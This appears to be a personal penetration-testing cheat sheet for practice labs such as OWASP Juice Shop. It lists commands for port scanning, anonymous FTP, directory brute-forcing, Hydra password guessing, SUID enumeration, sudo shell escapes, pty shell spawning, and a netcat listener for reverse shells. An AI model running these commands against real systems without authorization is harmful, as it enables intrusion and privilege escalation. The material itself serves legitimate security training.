Penetration Testing

Below are some useful commands and links for penetration testing

1. Adding IP address/domain name to `/etc/hosts` for convenience

Command to get your IP address: `ifconfig`

Then edit the `/etc/hosts` file like this:

```
<Localhost/IP address>   <domainName>
```

This will let you use `juice-sh.op` instead of the `http://localhost:3000` for everything!

Initial Scan

This will enumerate the visible ports and is a great place to start

```
nmap -sS -Pn <domain/ip>
```

Explore

1. Look around. Seriously, take some time and look at all of the pages. Open the browser's inspector and check out the console to see if there are any errors / weird warnings.
2. If you get some specific names back on your port scan, google them. See if there are known vulnerabilities.
3. Test anything that allows input. Try some SQL injections.
4. If the FTP port is open, try anonymous login.

```
ftp <ip address>
Uname: anonymous
Password: <blank>
```

5. Use *dirbuster* or *dirsearch* to enumerate file paths that may not be shown.
    - The `dirbuster` command will open a GUi, put the target URL and port.
    - Check out the wordlists `/usr/share/dirbuster/wordlists`. I usually start with small, because the medium list can run for hours with no hits.
    - This is relatively quick... the default took me about 3 minutes to complete: `dirsearch -u <domain>`
6. If you get a username but not a password, try using Hydra to guess the password.

```
hydra -t 4 -l <username> -P /usr/share/wordlists/rockyou.txt <ipaddress>
<vuln service>
```

8. Inspect traffic using Burp Suite. There is a free THM room that will walk you through the basics.

Once you have access

1. Check SUIDs

```
find / -type f -user root -perm -4000 2>/dev/null
```

2. Run Linpeas (Linux) or JAWS (Windows). These are enumeration scripts and will check for common places that have/store passwords, and MAY find files/programs/processes that are interesting.
    - This isn't going to find everything, but it is still very useful.
3.

Useful Things

Reverse Shells

1. Cheat Sheet 1
2. Cheat Sheet 2
3. Cheat Sheet 3

Shell Spawning commands

- `python -c 'import pty;pty.spawn("/bin/bash")'`
- `python -c 'import pty;pty.spawn("/bin/sh")'`
- `python -c 'import pty;pty.spawn("/bin/rbash")'`
- `python -c 'import pty;pty.spawn("/bin/dash")'`

Sudo shell escapes

- `sudo find /bin -name nano -exec /bin/sh \;`
- `sudo awk 'BEGIN {system("/bin/sh")}'`
- `sudo vim -c '!sh'`

Listeners and simple HTTP servers

- Netcat Listener: `nc -lvnp <port>` you can choose the port you use (I usually use 9999 or 7777).

    - You use this when connecting a reverse shell.
    - Run the reverse shell script on the victim machine and the listener on your host (Kali VM) machine.

- Python HTTP servers:
    - The command you use will depend on which version of python is available. Sometimes you will run this on your Kali machine to serve files, other times you will use this on the victim so you can download files
    - Python2 `python -m SimpleHTTPServer [port]`
    - Python3 `python3 -m http.server 9000`
- Curl and Wget
    - The path here might be your python server, so it will be your IP address and port use `ifconfig` and use the IP address from *eth0*.
    - Curl: `curl <http://ip:port>`
    - Wget: `wget http://ip:80`

Other useful things

- Inspect file metadata `exiftool <filename>`
- Find sudo permissions for your current user `sudo -l`